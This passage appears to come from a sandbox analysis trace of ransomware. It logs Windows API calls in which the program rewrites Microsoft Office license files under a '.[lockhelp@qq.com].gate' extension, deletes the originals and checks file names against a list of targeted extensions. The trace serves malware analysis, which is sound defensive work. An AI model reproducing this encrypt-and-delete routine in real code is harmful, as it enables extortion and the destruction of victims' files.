[0316.506] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0316.512] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.512] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x114, lpOverlapped=0x0) returned 1 [0316.512] SetEndOfFile (hFile=0x4f4) returned 1 [0316.514] CloseHandle (hObject=0x4f4) returned 1 [0316.516] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.516] SetEndOfFile (hFile=0x4b4) returned 1 [0316.527] CloseHandle (hObject=0x4b4) returned 1 [0316.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0316.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.532] lstrlenW (lpString=".doc") returned 4 [0316.532] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.532] lstrlenW (lpString=".docx") returned 5 [0316.532] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.532] lstrlenW (lpString=".pdf") returned 4 [0316.532] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.532] lstrlenW (lpString=".xls") returned 4 [0316.532] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.532] lstrlenW (lpString=".xlsx") returned 5 [0316.532] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.532] lstrlenW (lpString=".ppt") returned 4 [0316.533] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.533] lstrlenW (lpString=".zip") returned 4 [0316.533] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString=".rar") returned 4 [0316.533] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString=".bz2") returned 4 [0316.533] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString=".7z") returned 3 [0316.533] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.533] lstrlenW (lpString=".dbf") returned 4 [0316.533] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.533] lstrlenW (lpString=".1cd") returned 4 [0316.533] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0316.533] lstrlenW (lpString=".jpg") returned 4 [0316.533] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.533] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19962) returned 1 [0316.533] CloseHandle (hObject=0x50c) returned 1 [0316.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0316.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.534] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.534] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0316.535] GetLastError () returned 0x0 [0316.535] ReadFile (in: hFile=0x50c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0316.599] WriteFile (in: hFile=0x448, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0316.600] ReadFile (in: hFile=0x50c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.601] WriteFile (in: hFile=0x448, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11c, lpOverlapped=0x0) returned 1 [0316.601] SetEndOfFile (hFile=0x448) returned 1 [0316.602] CloseHandle (hObject=0x448) returned 1 [0316.606] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.606] SetEndOfFile (hFile=0x50c) returned 1 [0316.659] CloseHandle (hObject=0x50c) returned 1 [0316.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0316.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.660] lstrlenW (lpString=".doc") returned 4 [0316.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.660] lstrlenW (lpString=".docx") returned 5 [0316.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.660] lstrlenW (lpString=".pdf") returned 4 [0316.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.660] lstrlenW (lpString=".xls") returned 4 [0316.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.660] lstrlenW (lpString=".xlsx") returned 5 [0316.661] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.661] lstrlenW (lpString=".ppt") returned 4 [0316.661] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.661] lstrlenW (lpString=".zip") returned 4 [0316.661] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString=".rar") returned 4 [0316.661] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString=".bz2") returned 4 [0316.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString=".7z") returned 3 [0316.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.661] lstrlenW (lpString=".dbf") returned 4 [0316.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.661] lstrlenW (lpString=".1cd") returned 4 [0316.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0316.661] lstrlenW (lpString=".jpg") returned 4 [0316.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.661] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19966) returned 1 [0316.661] CloseHandle (hObject=0x50c) returned 1 [0316.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0316.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.662] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.662] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.663] GetLastError () returned 0x0 [0316.663] ReadFile (in: hFile=0x50c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0316.720] WriteFile (in: hFile=0x4b4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0316.721] ReadFile (in: hFile=0x50c, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.721] WriteFile (in: hFile=0x4b4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11e, lpOverlapped=0x0) returned 1 [0316.721] SetEndOfFile (hFile=0x4b4) returned 1 [0316.729] CloseHandle (hObject=0x4b4) returned 1 [0316.732] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.732] SetEndOfFile (hFile=0x50c) returned 1 [0316.739] CloseHandle (hObject=0x50c) returned 1 [0316.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0317.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.002] lstrlenW (lpString=".doc") returned 4 [0317.002] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString=".docx") returned 5 [0317.002] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.002] lstrlenW (lpString=".pdf") returned 4 [0317.002] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString=".xls") returned 4 [0317.002] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString=".xlsx") returned 5 [0317.002] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.002] lstrlenW (lpString=".ppt") returned 4 [0317.002] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.002] lstrlenW (lpString=".zip") returned 4 [0317.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString=".rar") returned 4 [0317.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.002] lstrlenW (lpString=".bz2") returned 4 [0317.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.003] lstrlenW (lpString=".7z") returned 3 [0317.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.003] lstrlenW (lpString=".dbf") returned 4 [0317.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.003] lstrlenW (lpString=".1cd") returned 4 [0317.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0317.003] lstrlenW (lpString=".jpg") returned 4 [0317.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.032] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10667) returned 1 [0317.032] CloseHandle (hObject=0x468) returned 1 [0317.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0317.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.033] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.033] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.035] GetLastError () returned 0x0 [0317.035] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x29ab, lpOverlapped=0x0) returned 1 [0317.137] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0317.138] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.138] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x116, lpOverlapped=0x0) returned 1 [0317.138] SetEndOfFile (hFile=0x50c) returned 1 [0317.138] CloseHandle (hObject=0x50c) returned 1 [0317.138] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.138] SetEndOfFile (hFile=0x468) returned 1 [0317.140] CloseHandle (hObject=0x468) returned 1 [0317.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0317.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.141] lstrlenW (lpString=".doc") returned 4 [0317.141] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.141] lstrlenW (lpString=".docx") returned 5 [0317.141] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.141] lstrlenW (lpString=".pdf") returned 4 [0317.141] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString=".xls") returned 4 [0317.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString=".xlsx") returned 5 [0317.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.142] lstrlenW (lpString=".ppt") returned 4 [0317.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.142] lstrlenW (lpString=".zip") returned 4 [0317.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString=".rar") returned 4 [0317.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString=".bz2") returned 4 [0317.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString=".7z") returned 3 [0317.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.142] lstrlenW (lpString=".dbf") returned 4 [0317.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.142] lstrlenW (lpString=".1cd") returned 4 [0317.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0317.142] lstrlenW (lpString=".jpg") returned 4 [0317.142] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.143] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19966) returned 1 [0317.143] CloseHandle (hObject=0x468) returned 1 [0317.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0317.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.143] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.143] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.144] GetLastError () returned 0x0 [0317.144] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0317.215] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0317.216] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.216] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11e, lpOverlapped=0x0) returned 1 [0317.217] SetEndOfFile (hFile=0x50c) returned 1 [0317.217] CloseHandle (hObject=0x50c) returned 1 [0317.217] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.217] SetEndOfFile (hFile=0x468) returned 1 [0317.219] CloseHandle (hObject=0x468) returned 1 [0317.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.219] DeleteFileW 